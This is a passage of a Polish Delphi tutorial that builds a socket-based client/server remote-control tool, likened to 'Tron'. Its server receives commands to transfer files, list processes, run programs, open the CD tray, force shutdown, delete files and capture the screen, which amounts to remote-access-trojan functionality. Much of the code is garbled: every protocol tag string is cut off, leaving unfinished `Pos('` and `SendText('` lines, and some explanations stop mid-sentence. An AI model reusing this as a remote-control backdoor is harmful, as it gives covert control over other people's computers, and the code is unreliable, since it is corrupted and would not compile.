{4} Buf := Copy( Buf, 1, LenReceived );
end;
1.Przypisujemy MsgLen ilość bajtów gotowych do wysłania przy połączeniu. Robimy to za pomocą funkcji ReceiveLength. Zauważ ,że ReceiveLength jest tylko przybliżeniem - możemy odebrać mniej danych niż zwróciła ReceiveLength
2.Czy będziemy potrzebować bufora (miejsca w pamięci do przechowywania przychodzących danych) na tyle dużego aby przechować dane przychodzących. Robimy to przez ustawienie długości łańcucha znaków naszego Buf przez rozmiar danych mniej więcej odbieranych
3.Tu używamy funkcji ReceiveBuf dla odczytania do drugiego parametru ilości bajtów w Buf. Drugi parametr (MsgLen) wskazuje jak duży jest bufor. Ta funkcja również zwraca ile bajtów zostało w rzeczywistości odczytane, więc LenReceived będzie równa tej ilości.
4.To pozwala upewnić się ,że ciąg Buf jest tak duży jak to konieczne. Powiedzmy ,że ReceiveLength zwrócił 80 bajtów które wysłano - wtedy długość bufora została ustawiona na 80 .Możemy mieć tylko odebrane 60 bajtów za jednym razie, a nasz LenReceived będzie przechowywał wartość całkowitą tej ilości jaką odebraliśmy. Musimy po prostu przyciąć nadmiar długości bufora z Copy (), kopiując od 1 (początek bufora) do długości danych faktycznie odebranych (LenReceived).
'Buf' będzie zawierał dane które przychodzą. W tym przypadku Buf będzie ró1)ny :
if Pos('
begin
Delete(Buf, 1, 11); {Delete the tag:
RequestedFile := Buf;
SendClientFile;
end;
Pamiętaj Pos() - zwraca liczbę 1 jeśli znajdzie '
procedure TForm1.SendClientFile;
var
TheFileSize: integer;
FS : TFileStream;
begin
if FileExists(RequestedFile) then {1}
begin
try
FS := TFileStream.Create(RequestedFile, fmOpenRead); {2}
FS.Position := 0; {3}
TheFileSize := FS.Size; {4}
ServerSocket1.Socket.Connections[0].SendText {5}
('
ServerSocket1.Socket.Connections[0].SendStream(FS); {6}
except
ServerSocket1.Socket.Connections[0].SendText {7}
('
end;
end
else begin
ServerSocket1.Socket.Connections[0].SendText {8}
('
end;
end;
1.To jest krótszy sposób zrobienia if FileExists(RequestedFile) = True then
Więc możemy sprawdzić czy RequestedFile istnieje
2.Tu jak stworzyć obiekt TFileStream. Robimy to w ten sam sposób jak tworzenie obiektu TMemoryStream, jednak musimy stworzyć instancję tego pliku z jakim chcemy pracować. Robimy to przez przekazanie nazwy pliku jako pierwszego parametru (RequestedFile w naszym przypadku). Kolejny parametr wymaga trybu w jakim będziemy używać tego pliku. fmOpenRead mówi ,że chcemy otworzyć ten plik tylko do odczytu (nie będziemy niczego zapisywać do tego pliku)
3.Ustawiamy właściwość Property na 0 ,więc możemy pracować od początku TFileStream.
4.FS.Size zwraca aktualny rozmiar naszego FS jako wartość całkowitą a tu przypisujemy tą wartość do TheFileSize. Nazwałem to TheFileSize a nie FileSize ponieważ FileSize jest nazwą funkcji Delphi.
5.Tu mamy jak wysłać tekst z ServerSocket jako przeciwieństwo do ClientSocket1.Socket.SendText () które możemy zrobić po stronie Klienta. Wysyłamy coś takiego jak string :
6.Tu wysyłamy nasz TFileStream przez gniazdo połączenia. Zauważ ,że nie zwalniamy FreeStream. Jest tak ponieważ metoda : SendStream - będzie zwalniała strumień danych po zakończeniu wysyłania
7.Nie zapomnij ,że jesteśmy w isntrukcji try
except - więc jeśli coś idzie źle i wywołany jest wyjątek, wyślemy komunikat błędu do Klienta
8.To jest else warnku if FileExists(). Przepływ programu będzie skierowany tu jeśli plik nie istnieje.
A propos , nie zapomnij zadeklarować tej procedury jako normalnej
Wracamy do strony Klienta
Musimy napisać obsługę zdarzenia OnRead dla odebrania tego pliku. Najpierw , napiszemy kilka instrukcji dla odebrania danych jak zrobiliśmy to w naszym zdarzeniu OnClientRead po stronie serwera:
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
Buf : string;
MsgLen,
LenReceived: integer;
begin
MsgLen := Socket.ReceiveLength;
SetLength( Buf, MsgLen );
LenReceived := Socket.ReceiveBuf( Buf[1], MsgLen );
Buf := Copy( Buf, 1, LenReceived );
end;
Tu musimy wprowadzić nowe pojęcie. Myślimy o naszym Kliencie jako mającym 2 stany (lub ustawienia) :Stan jałowy i stan odbioru pliku. W tej chwili nasz Klient znajduje się w stanie jałowym - nic nie robi, po prostu czeka na instrukcje. Kiedy odbiera instrukcje z Serwera mówiące ,że ma zamiar wysłać mu plik, musi zmienić swój stan na stan odbioru pliku. .Można myśleć o tym jak o dwóch przełącznikach, przełączniki na pozycji jałowej - wtedy Serwer informuje ,że będzie odbieranie plików, więc przełącznik jest przestawiany na pozycję przyjmowania plików. Teraz zaimplementujemy to pojęcie przełącznika Pod sekcją type, wystawiamy linie:
type
TClientStatus = (CSIdle, CSReceivingFile);
TForm1 = class(TForm) ;
Teraz w sekcji private (zmienne globalne), wstawiamy tą deklarację:
CState: TClientStatus;
OK, teraz kiedy aplikacja staruje, mamy CState (stan Klienta) ustawiony na jałowy. Dodajemy tą linię do OnCreate:
CState := CSIdle;
Zgodnie z tą koncepcją będziemy określać przełącznik na stan jałowy. Jeśli spojrzymy na Serwer, zobaczymy ,że pierwszą rzeczą jaką wysyła do nas (do Klienta) jest linia:
Liczba tu wstawiona jest przykładowa. W rzeczywistości będzie wysyłany rozmiar pliku jakiego zażądaliśmy. Więc to co musimy zrobić to sprawdzenie tego znacznika
if Pos('
begin
try
{1} FS := TFileStream.Create(StoredLocalAs, fmCreate or fmOpenWrite);
{2} TheFileSize := StrToInt( Copy(Buf, 12, Pos('|', Buf)-12 ) );
{3} Delete(Buf, 1, Pos('|', Buf));
{4} PBar.Max := TheFileSize;
{5} CState := CSReceivingFile;
except
{6} FS.Free;
Memo1.Lines.Add('** Błąd pobierania pliku ponieważ ' + StoredLocalAs);
end;
end;
Musimy zadeklarować TheFileSize jako globalną zmienną integer i FS jako globalną zmienną TFileStream, np.
private
{ Private declarations }
TheFileSize: integer;
FS : TFileStream;
Deklarujemy to globalnie , ponieważ w przeciwnym przypadku za każdym razem jest wywoływane zdarzenie OnRead (a będzie tego dużo), byłyby tworzone (zapisywane do pamięci dynamicznej) co byłoby zapisywanie dużo pamięci bez powodu.
1.Po pierwsze tworzymy nasz TFileStream (FS) jako naszą zmienne StoredLocalAs - pamiętaj ,że zmiennej łańcuchowej będzie przypisana zawartość naszego pola DownloadAs. Użyjemy trybów 'fmCreate' lub 'fmOpenWrite'.
2.Potem przypisujemy rozmiar części Buf :
4.To jest ustawienia właściwości Max naszego PBar na rozmiar pliku jaki odbieramy. Jeśli nie wiemy jaki jest ProgressBar, będziesz wiedział po uruchomieniu Klienta, więc nie ma się o co martwić teraz.
5.Teraz ustawiamy nasz przełącznik na CSReceivingFile
6.Jeśli coś idzie źle , zwalniamy strumień .
Teraz mamy ustawiony nasz przełącznik CState na CSReceivingFile, musimy napisać jakiś kod , który będzie odbierał i zapisywał plik. Popracujemy z naszym zdarzeniem OnRead ClientSocket, wstawiamy kod:
case CState of {1}
CSReceivingFile: {2}
begin
try
PBar.StepBy(Length(Buf)); {3}
FS.Write(Buf[1], Length(Buf)); {4}
Dec(TheFileSize, Length(Buf)); {5}
if TheFileSize = 0 then {6}
begin
CState := CSIdle; {7}
FS.Free;
PBar.Position := 0;
Memo1.Lines.Add('** Downloaded! **');
Buf := '';
end;
except
Memo1.Lines.Add('Error writing file.');
end;
end;
end;
Teraz będziemy mogli skompilować obie części aplikacji i przetestować ją. Wystarczy umieścić zdalny plik jaki chcemy pobrać w Edit ToDownload (np. c:\plik.txt).
1.Instrukcja case jest rodzaju insytrukcji if. Mówi ,że jeśli jest przypadek jakiegoś warunku poniżej wtedy wchodzi do gry warunkowy blok kodu
2.Tu mamy nasz warunek dla naszej instrukcji. Kończy się dwukropkiem i ma begin pod oznaczeniem startu jego bloku kodu.
3.Tu przesuwamy nasz PBar w przód w zależności od tego ile danych już odebraliśmy używając metody StepBy
4.Stworzyliśmy nasz TFileStream (FS) więc nie musimy tworzyć go ponownie. Musimy po prostu zapisać do niego odebrane dane przechowywane przez Buf. Jest to robione za pomocą metody .Write. Można zauważyć ,że użyliśmy zmiennej łańcuchowej Buf jak tablicy 'Buf[1]' - ale zmienna łańcuchowa jest w rzeczywistości jak tablica, tj. możemy wstawić indeks stringa między nawiasami i pracować z tymi znakami w łańcuchu (nie są oparte o zero) ,Mówimy tu ,że zapisujemy od pierwszego znaku w Buf, do całej długości danych w Buf (zapisujemy wszystkie dane do FS)
5.Pocedura Dec () zmniejsza albo o 1 albo o wartość określoną w zmienne. Tu określamy minus całej długości naszego bufora danych z TheFileSize. Robimy to w kolejnym punkcie
6.Zapamiętajmy ,że TheFileSize równa się całkowitemu rozmiarowi pliku jaki odebraliśmy. Za każdym razem przez OnRead (za każdym razem odbieramy więcej danych) zapisujemy je a potem minusujemy z TheFileSize procedurą Dec () w punkcie 5. Tu sprawdzamy czy odebraliśmy wszystkie dane, tzn. czy TheFileSize to 0
7.Będziemy wewnątrz tego bloku kodu kiedy odebraliśmy wszystkie dane. Ustawiamy przełącznik z powrotem na stan jałowy (CState := CSIdle) ponieważ nie odbieramy dłużej pliku, zwalniamy obiekt TFileStream ponieważ nie pracujemy z nim dłużej, ustawiamy Postion PBar z powrotem na początek a użytkownik wie, że zostało pobrane. Dobrym pomysłem jest wyczyszczenie Buf z pamięci przez przypisanie niczego (' ').
Dobrym pomysłem jest wyłączenie wszystkich komponentów podczas transferowania pliku. W ten sposób użytkownik nie będzie mógł kliknąć innego przycisku lub próbować zrobić czegoś podczas pobierania. Próba np. otwarcia napędu CD/DVD podczas pobierania może spowodować zakłócenie informacji i spowodować błąd. Musimy napisać procedurę dla wyłączenia wszystkich komponentów i jedną do ich włączenia ponownie, a potem wywołanie ich we właściwym czasie. Oto przykład:
procedure TForm1.DisableComponents;
begin
IPBox.Enabled := False;
Memo1.Enabled := False;
ToDownload.Enabled := False;
DownloadAs.Enabled := False;
Button3.Enabled := False;
end;
Kiedy dodasz nowe komponenty do Klienta, nie zapomnij dodać ich do procedury DisableComponents. Pamiętaj aby dodać wywołanie procedury EnableComponents (po napisaniu tej procedury oczywiście) w zdarzeniu OnError, ponieważ jeśli coś idzie źle nie chcesz zostawić wyłączonych wszystkich komponentów.
Znacznik błędu
Pamiętasz jak nasz Serwer wysyła '
if Pos('
begin
Delete(Buf, 1, 11);
Memo1.Lines.Add('** Error: ' + Buf);
end;
Wstawiamy to po ostatnim bloku kodu Pos () ale przed blokiem instrukcji case.
Jak uploadować plik do serwera
Wszystko co musimy zrobić to odwrócenie całego podprogramu pobierania pliku. Umieścimy Button na formatce, zmieniamy nagłówek na 'Upload'. Umieszczamy dwa Edity na formatce, nadając im nazwy DoUploadu i UploadJako. Oto OnClick Buttona:
procedure TForm1.Button4Click(Sender: TObject);
var
LocalFile : string;
FS2 : TFileStream;
TheFileSize: integer;
UploadingAs: string;
begin
if ClientSocket1.Active then
begin
LocalFile := ToUpload.Text;
UploadingAs := UploadAs.Text;
if FileExists(LocalFile) then
try
FS2 := TFileStream.Create(LocalFile, fmOpenRead);
FS2.Position := 0;
TheFileSize := FS2.Size;
ClientSocket1.Socket.SendText('
+ '*' + IntToStr(TheFileSize) + '|');
Memo1.Lines.Add('** Uploading pliu... **');
ClientSocket1.Socket.SendStream(FS2);
except
Memo1.Lines.Add('** Błąd wysyłania**');
end
else begin
Memo1.Lines.Add('** Błąd: Plik nie istnieje.');
end;
end;
end;
Przejdźmy teraz do serwera i wstawmy kod w zdarzeniu OnClientRead (tuż poniżej ostatniego fragmentu kodu):
if Pos('
begin
try
StoreAs := Copy(Buf, 12, Pos('*', Buf)-12);
FS2 := TFileStream.Create(StoreAs, fmCreate or fmOpenWrite);
Index1 := (Length(Buf) - Pos('|', Buf))+1;
LengthOfSize := Length(Buf) - Pos('*', Buf)-Index1;
DataLength := StrToInt(Copy(Buf, Pos('*', Buf)+1,
LengthOfSize));
Delete(Buf, 1, Pos('|', Buf));
SState := SSReceivingFile;
except
FS2.Free;
Socket.SendText('
SState := SSIdle;
end;
end;
case SState of
SSReceivingFile:
begin
try
FS2.Write(Buf[1], Length(Buf));
Dec( DataLength, Length(Buf));
if DataLength = 0 then
begin
SState := SSIdle;
FS2.Free;
Socket.SendText('
end;
Buf := '';
except
Socket.SendText('
FS2.Free;
SState := SSIdle;
end;
end;
end;
Musimy zadeklarować globalne zmienne:
SState : TServerStatus;
StoreAs : string;
FS2 : TFileStream;
DataLength : integer;
Index1 : integer;
LengthOfSize : integer;
SState jest naszym przełącznikiem, który musimy zadeklarować w sekcji type jako ; TServerStatus = (SSIdle, SSReceivingFile);
Wszsytko zrobiliśmy przed. Wystarczy pamiętać ,że ciąg inicjalizujący otrzymamy od Klienta stanowiący ,że mamy zamiar uploadować plik , jak coś takiego:
Pobieranie nazwy pliku z Buf do StoreAs jest stosunkowo proste ,więc przejdziemy do zmiennej DataLength. Najpierw musimy określić czy jest coś po '|' - pamiętasz jak wspominaliśmy ,że wysyłanie może nie być oddzielone - możemy odebrać fragment danych pliku wraz z naszym znacznikiem ciągu. Zrobimy to tak:
Index1 := (Length(Buf) - Pos('|', Buf))+1;
Index1 będzie teraz zawierał długość dowolnej danej po znaku '|' .Tu mamy demonstrację:
Buf =
Length () naszego Bug zwróci 57. Pos () zwróci 28. 57-28 = 29, potem dodajemy jeden do znaku '|' = 30, co jest rozmiarem naszego pogrubienia. Jeśli nie odebraliśmy żadnych danych pliku z naszym znacznikiem ciągu, Index1 będzie równy 1 dla '|'. Teraz musimy pobrać rzeczywistą długość (ile znaków) bitu rozmiaru do LengthOfSize. W końcu pobieramy bit rozmiaru przypisany do DataLength przez użycie Pos (), Copy () i StrToInt (). Na stronie serwera wysyłamy znacznik mówiący
Jak pobrać listę procesów uruchomionych na odległej maszynie
Teraz możemy chcieć mieć przycisk na formatce oznaczony 'Lista procesów' lub jak robi to Tron, mamy pole Edit w którym możemy wpisać polecenia takie jak 'lp' i mamy zwracaną listę procesów.
Strona Klienta
Umieszczamy inny Edit na formatce. Ten Edit będzie naszym polem poleceń. Ustawiamy właściwość Name na CommandBox i usuwamy tekst z właściwości Text. Tworzymy zdarzenie OnKeyDown dla CommandBox i wstawiamy ten kod:
if (Key = VK_RETURN) then
begin
TheCommand := CommandBox.Text;
Memo1.Lines.Add(CommandBox.Text);
CommandBox.Clear;
if TheCommand = 'lp' then
begin
ClientSocket1.Socket.SendText('
end;
end;
Strona Serwera
Serwer będzie najpierw musiał zidentyfikować znacznik
if Pos('
begin
ListProcesses;
end;
Wywołujemy podprogram ListProcesses, który musimy zapisać jak poniżej (musimy dodać 'TLHELP32' do listy uses):
procedure TForm1.ListProcesses;
var
TheHandle: THandle; { Będzie zawierać obsługę uruchomionych procesów}
TheData : TProcessEntry32; { dodajemy TLHELP32 do listy uses}
NumOfProc: integer;
function GetName: string; { Ponieważ jest to funkcja lokalna do }
var { tej procedury nie będziemy }
AByte : Byte; { wywoływac jej bezpośrednio z }
begin { TForm1, więc nie musimy jej }
Result := ''; { dekalrować tu. }
AByte := 0;
while TheData.szExeFile[AByte] <> '' do
begin
Result := Result + TheData.szExeFile[AByte];
Inc(AByte);
end;
end;
begin
SLOfProcs := TStringList.Create; { Twporzymy nasz SLOfProcs. }
if SLOfProcs.Count <> 0 then { jeśli istnieją łańcuchy na }
begin { liście,wtedy czyściumy lisę. }
SLOfProcs.Clear;
end;
{1} TheHandle := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
{2} if Process32First(TheHandle, TheData) then
begin
{3} SLOfProcs.Add(GetName);
{4} while Process32Next(TheHandle, TheData) do
SLOfProcs.Add(GetName);
end
else begin
ServerSocket1.Socket.Connections[0].SendText
('
end;
{5} for NumOfProc := 0 to SLOfProcs.Count -1 do
Begin
SLOfProcs[NumOfProc] := '<' + IntToStr(NumOfProc) + '>' + ' '
+ SLOfProcs[NumOfProc];
end;
{6} ServerSocket1.Socket.Connections[0].SendText
('
SLOfProcs.Text);
end;
Musimy zadeklarować globalną listę łańcuchów:
SLOfProcs: TStringList;
Być może wygląda to skomplikowanie, ale skomentujemy ważniejsze punkty:
1.Przypisujemy do THandle to co nazywamy migawką systemu uruchomionych procesów w danym czasie. Robimy to przez wywołanie API do funkcji CreateToolhelp32Snapshot ()
2.Tu wywołujemy to API dla pobrania informacji o pierwszym uruchomionym procesie. Przekazujemy go do uchwytu utworzonej migawki a potem przekazujemy TheData. Kiedy przekazujem TheData, który mamy zadeklarowany jako TProcessEntry32, mam rodzaj przypisania informacji TheData o pierwszym uruchomionym procesie. Tworzymy instrukcję if, w której będziemy zwracać True funkcji API Process32First, jeśli migawka zostanie poprawnie stworzona i wejdziemy do jej bloku kodu.
3.Tu wywołujemy naszą funkcję GetName, która będzie zwracała ścieżkę i nazwę exe pierwszego uruchomionego procesu i dodawać ją do TStringList
4.Tu mamy przechodzić pętlą każdy proces w migawce i wywołać GetName dla każdego procesu. Więc otrzymujemy całą resztę ścieżek procesów i nazw plików w TStringList.
5.To jest przypisanie każdego procesu na liście liczby wewnątrz znakó2) : < >. Na przykład '<1> c:\windowsnotepad.exe' dla pierwszego procesu na liście Drugi proces będzie miał <2>... itd.
6.W końcu, wysyłamy nasz TStringList zawierający listę procesów do Klienta. Wysyłamy również rozmiar listy więc Klient będzie wiedział kiedy odebrał wszystkie dane
Z powrotem po stronie Klienta
Deklarujemy globalną zmienną całkowitą TheSizeOfList. Będzie to używane do określenia kiedy odebraliśmy całą listę. Wstawiamy kod w zdarzeniu OnRead:
if Pos('
begin
TheSizeOfList := StrToInt(Copy(Buf, 12, Pos('|', Buf)-12));
Delete(Buf, 1, Pos('|', Buf));
CState := CSReceivingProcList;
end;
Mamy zamiar nazwać ten rodzaj kodu 'identyfikatorem znacznika' - więc wstawiamy kod identyfikator znacznika po ostatnim identyfikatorze znacznika w OnRead, ale przed blokiem case. Najpierw przycinamy informacje o rozmiarze i przypisujemy ją do zmiennej całkowitej TheSizeOfList używając Pos (), Copy () i StrToInt (). Potem usuwamy informację o rozmiarze z odebranych danych. Wtedy ustawiamy nasz przełącznik CState na CSReceivingProcList , który będziemy musieli dodać do przełączników (w sekcji type):
TClientStatus = (CSIdle, CSReceivingFile, CSReceivingProcList);
Teraz musimy dodać nasz przełącznik CSReceivingProcList do naszego bloku case. Więc będziemy mieli coś takiego w sekcji case:
case CState of
CSReceivingFile:
begin
// code to receive the file
end;
end;
Chcemy dodać ten fragment kodu do odebranej listy procesów:
CSReceivingProcList:
begin
Memo1.Lines.Add(Buf);
Dec(TheSizeOfList, Length(Buf) );
if TheSizeOfList = 0 then
begin
CState := CSIdle;
end;
end;
Dodajemy listę (Buf) do naszego Memo, potem zmniejszamy ilość odebraną z TheSizeOfList i jeśli odebraliśmy wszystko, ustawiamy przełącznik z powrotem na CSIdle. Skompilujmy obie strony , wpiszmy 'lp' w CommandBox , naciśnijmyu enter i zobaczmy zwróconą listę
Jak otworzyć proces na odległej maszynie
Ta funkcja pozwala nam wpisać coś jakl 'sp c:\windows\notepad.exe ' w CommandBox, naciskamy enter i możemy otworzyć tam taki program.
Strona Klienta
Wstawiamy to w OnKeyDown CommandBox:
if Copy(TheCommand, 1, 2) = 'sp' then
begin
ClientSocket1.Socket.SendText('
end;
Jeśli użytkownik wpisze 'sp c:\program.exe' wtedy będzie to wysyłane do Serwera '
Strona Serwera
if Pos('
begin
Delete(Buf, 1, 11);
if ShellExecute(0, nil, PChar(Buf), nil, nil, SW_NORMAL) > 32
then begin
Socket.SendText('
end
else begin
Socket.SendText('
end;
end;
Będziemy musieli wstawić kod identyfikatora znacznika w zdarzeniu OnClientRead. Dla otworzenia procesu użyjemy funkcji API ShellAPI. Aby użyć takiej funkcji musimy dodać ShellAPI do listy uses. Funkcja ta zwraca liczbę większą ni 32 jeśli jest powodzenie.
Jak otworzyć i zamknąć CDDVD-ROM na odległej maszynie
Użyjemy przycisku z nagłówkiem ustawionym na 'Otwórz CD/DVD-ROM' a kiedy go klikniemy otworzy się CD-ROM na odległej maszynie. Nagłówek przycisku zmieni się na 'Zamknij CD/DVD-ROM' kiedy jest kliknięty, więc jeśli klikniemy go drugi raz, zamknie napęd na Serwerze. Tu mamy zdarzenie OnClick dla przycisku:
procedure TForm1.Button5Click(Sender: TObject);
begin
if ClientSocket1.Active then
begin
if Button5.Caption = '&Open CD-ROM' then
begin
ClientSocket1.Socket.SendText('
Button5.Caption := 'C&lose CD-ROM';
end
else begin
ClientSocket1.Socket.SendText('
Button5.Caption := '&Open CD-ROM';
end;
end;
end;
Zapiszemy kod identyfikatora znacznika OnClientRead:
if Pos('
begin
OpenCD;
end;
Wywołanie podprogramu do otwarcia napędu może wyglądać tak:
procedure TForm1.OpenCD;
begin
if mciSendString('set cdaudio door open wait', nil, 0, handle)= 0
then begin
ServerSocket1.Socket.Connections[0].SendText
('
end
else begin
ServerSocket1.Socket.Connections[0].SendText
('
end;
end;
Dla otwarcia napędu używamy wywołania funkcji API mciSendString która zwraca o jeśli zakończy się powodzeniem. OK teraz zamykamy napęd:
if Pos('
begin
CloseCD;
end;
To jest kod identyfikatora znacznika, a tu mamy podprogram CloseCD:
procedure TForm1.CloseCD;
begin
if mciSendString('set cdaudio door closed wait',nil,0,handle)= 0
then begin
ServerSocket1.Socket.Connections[0].SendText
('
end
else begin
ServerSocket1.Socket.Connections[0].SendText
('
end;
end;
Tworzymy to samo wywołanie API ale tym razem, przekazujemy inny łańcuch znaków. 'door closed' jest taką rozpoznająca funkcję API, i będzie zamykać napęd. Zauważ ,że aby użyć tych wywołań API, musimy dodać MMSystem do listy uses.
Jak zamknąć odległy komputer
Użyjemy funkcji API:
ExitWindowSEx(EWX_FORCE or EWX_SHUTDOWN, 0);
Ta linie wymusi restart systemu. Powinno się tego używać jako ostatnie podejście ponieważ potencjalnie może to uszkodzić dane.
Jak skopiować plik z jednego miejsca do innego
Nie mylmy tego z pobieraniem plików. Implementując tą funkcję pomyślmy jak można wysłać ciąg znaków do serwera zawierającego oczywiście znacznik informujący ,że chcesz skopiować plik : '
CopyFile(PChar(CopyFrom), PChar(CopyTo), TRUE)
CopyFrom będzie zmienną łańcuchową która ma przypisany plik do kopiowania, a CopyTo - inną zmienną łańcuchową , która będzie zawierała nowy plik i ścieżkę. Np.:
CopyFrom może = 'c:\plik.txt' a CopyTo może = 'c:\folder\plik.txt'
Jak przenieść plik
Możemy użyć funkcji API CopyFile () ponownie, i możemy zrobić podobną rzez jak przy funkcji kopiowania pliku ale tym razem dodamy kod usuwania CopyFrom. Kod do usunięcia pliku :
DeleteFile(TheFile);
Więc możemy wysłać do serwera coś podobnego do CopyFile () - plik początkowy i gdzie ma być przesunięty, a znacznik mówi coś takiego '
Jak stworzyć katalog (MD)
Użyjemy tej funkcji:
CreateDir ()
Weźmiemy łańcuch znaków jako parametr, więc możemy zrobić coś takiego:
CreateDir('c:\NewDirectory');
// lub
CreateDir(MyStringVariableContainingNewDir);
Ta funkcja będzie zwracała wartość logiczną 'True' - jeśli katalog został pomyślnie utworzony. Oznacza to ,że możemy zrobić cos takiego:
if CreateDir(TheNewDir) = True then
begin
ServerSocket1.Socket.Connections[0].SendText
('
end;
Możemy również oprogramować sekcję else wysyłającą znacznik błędu do Klienta stanowiąca ,że nowy katalog nie został stworzony.
Jak zmienić nazwę pliku
Użyjemy funkcji :
Akceptuje dwa parametry, pierwszy będący starą nazwę pliku a drugi będący nową nazwą pliku. Oto przykłady:
RenameFile('c:\file.txt', 'c:\MyNewFileName.txt');
// lub:
RenameFile(StrVarContainingOldName, StringVarContainingNewName);
Ta funkcja będzie zwracała True jeśli kończy się powodzeniem.
Jak usunąć plik
Widzieliśmy już tą funkcje przy przesuwaniu pliku:
DeleteFile ();
Wymaga łańcucha znaków zawierającego ścieżkę i nazwę pliku. Jeśli nie ma określonej ścieżki ,będzie próbowała usunąć plik w katalogu w którym jest uruchomiony Serwer.
Jak pobrać rozmiar pliku
Stworzyliśmy TFileStream pliku a wtedy możemy wykonać MyFileStream.Size. Jednak będzie zwracała rozmiar w bajtach, jeśli chcemy skonwertować ją do kilobajtów można zrobić coś takiego:
var
TheFile : TFileStream;
begin
TheFile := TFileStream.Create(FileToGetSizeOf, fmOpenRead);
ServerSocket1.Socket.Connections[0].SendText
('
TheFile.Free;
Co moglibyśmy uzyskać z Serwera tu to:
Jak uzyskać czas odległego systemu
Kiedy Tron łączy się z serwerem Tron, mamy to w zdarzeniu OnConnect ClientSocket:
ClientSocket1.Socket.SendText('
Kiedy serwer rozpozna ten znacznik w swoim OnClientRead :
if Pos('
begin
Socket.SendText('
end;
Wysyła czas z powrotem, używając funkcji TimeToStr. Potem wracając na stronę Klienta rozpoznaje ten znacznik -
Jak przechwycić zdalny ekran
Omówimy tą funkcję dokładniej ponieważ wprowadza nowe pojęcia. Musimy zaimplementować funkcje pobranego pliku. Również , jeśli używamy włączania/wyłączania komponentów, co omówiliśmy wcześniej, to będzie dobre miejsce dla wyłączenia komponentów jeśli przechwytywanie jest w toku. Potrzebujemy komponentu do przechwytywania ekranu ,który pobierzemy z Internetu. Wyjaśnimy jak pobrać i zainstalować komponent. Przy okazji, jeśli uruchomiłeś dwie instancje Delphi, zapisz obie części aplikacji i zamknij jedną część podczas instalacji komponentu. Komponent jakiego potrzebujemy to TScreenCapture . Można go ściągnąć z poniższych lokacji:
http://www.torry.net/vcl/graphics/displaying/ctkscreencapture.exe.
Po ściągnięciu , uruchamiamy ScreenCapture.exe. Pojawi się pole pozwalające określić ścieżkę dostępu. Dobrym pomysłem jest zainstalowanie go gdzieś w folderze Delphi. Po zainstalowaniu pojawi się aplikacja demo. Możesz ją zamknąć. Potem przejdź do Delphi i kliknij :Component, Install Component
. Przeniesiesz się do pola "Install Component". Sekcja Unit będzie pusta więc kliknij przycisk Browse .Znajdź folder z komponentem TScreenCapture, a będzie tam ScreenCapture.pas. Zaznacz go i kliknij Open. Teraz kliknij OK w polu 'Install Component' Pojawi się komunikat potwierdzenia : 'Package dclusr.bpl will be built then installed.Continue?' - kliknij Yes. Pojawi się inne pole potwierdzające zainstalowanie. Kliknij OK. ScreenCapture.pas będzie automatycznie otwierany na tym etapie więc wybieramy File, Close All. Pojawi się : 'Save changes to project dclusr?'. Klikamy Yes. Teraz możemy otworzyć ponownie części aplikacji. Teraz jeśli spojrzysz na paletę komponentów (możesz musieć przewinąć trochę - w zależności
od wersji Delphi), będzie nowa zakładka : TenKSupport a w niej komponent ScreenCapture. Teraz zaczniemy pracę nad funkcją przechwytywania ekranu.
Klient
Umieszczamy przycisk na formatce i ustawiamy nagłówek na coś podobnego do 'Cap Screen'. Tu mamy zdarzenie OnClick kod dla tego przycisku:
if ClientSocket1.Active then
begin
StoredLocalAs := '??3x?s2$1a29.jpg';
ClientSocket1.Socket.SendText('
end;
Pamiętaj o naszej zmiennej globalnej - Jest używana kiedy pobieramy plik. Zwróć uwagę ,że nie dołączyliśmy ścieżki naszego obrazka JPG. Oznacza to ,że będzie przechowywany w tej samej ścieżce na jakiej jesteśmy w danej chwili (ta sama ścieżka w której uruchamiany jest Klient)
Serwer
Przenosimy się do Serwera, musimy wrzucić komponent ScreenCapture na formatkę Serwera. Ustawiamy właściwość Jpeg na True jeśli nie chcemy pobierać przechwyconego ekranu w .bmp. Są one dużo większe. OK, teraz musimy zidentyfikować znacznik w naszym OnClientRead bierzemy i zapisujemy przechwycony ekran:
if Pos('
begin
{1} ScreenCapture1.GetScreenShot;
{2} ScreenCapture1.Shot2.SaveToFile('$$3x?s2$1a29.jpg');
{3} RequestedFile := '$$3x?s2$1a29.jpg';
{4} SendClientFile;
end;
1.Jak pobieramy zrzut ekranowy używając komponentu ScreenCapture. Jest przechowywany w pamięci dynamicznej
2.Tu zapisujemy zrzut ekranu z pamięci dynamicznej pod inną nazwą - ale znacznie różna od nazwy po stronie Klienta.
3.Ustawiamy zrzut ekranowy będący żądanym plikiem używając starej zmiennej globalnej łańcuchowej RequestedFile
4.Teraz musimy wywołać naszą procedurę która będzie wysyłała plik.
Będziemy musieli dodać jakiś kod do naszej procedury SendClientFile dla usunięcia naszego pliku zrzutu ekranowego po wysłaniu go do Klienta. Będziemy musieli dodać kod po tej linii:
ServerSocket1.Socket.Connections[0].SendStream(FS);
I to:
if FileExists('$$3x?s2$1a29.jpg') then
begin
DeleteFile('$$3x?s2$1a29.jpg');
end;
To powinno być wstawione tylko przed słowem kluczowym except - wystarczy wyczyścić po wysłaniu zrzutu.
Z powrotem u Klienta
Użyjemy innej formatki do wyświetlenia zrzutu ekranowego. Przejdziemy do File, New, Form - stworzymy nową formatkę dla Klienta. Umieścimy komponent Image (zakładka Additional palety Komponentów) na formatce i ustawimy jej właściwość align na alClient. Ustawimy również właściwość Stretch Image na True. Wybieramy ponownie Form2 i ustawiamy jej właściwość BorderStyle na bsNone dla usunięcia klasycznego obramowania Windows. Będziemy musieli rozpoznać czy plik jaki odebraliśmy jest naszym zrzutem czy nie. Wróćmy do Unit1 i zdarzenia OnRead ClinetSocket. Przewiniemy do boloku instrukcji case : 'CSReceivingFile' - i spojrzymy na sekcję gdzie odebraliśmy plik. Po TheFileSize =0, gdzie ustawiamy nasza przełącznik na CSIdle i zwolnieniu TFileStream. Tam dodamy ten kod:
if FileExists('??3x?s2$1a29.jpg') = True then
begin // Odebrany plik był zrzutem ekranowym.
Form2.Image1.Picture.LoadFromFile('??3x?s2$1a29.jpg');
Form2.Show;
DeleteFile('??3x?s2$1a29.jpg');
end;
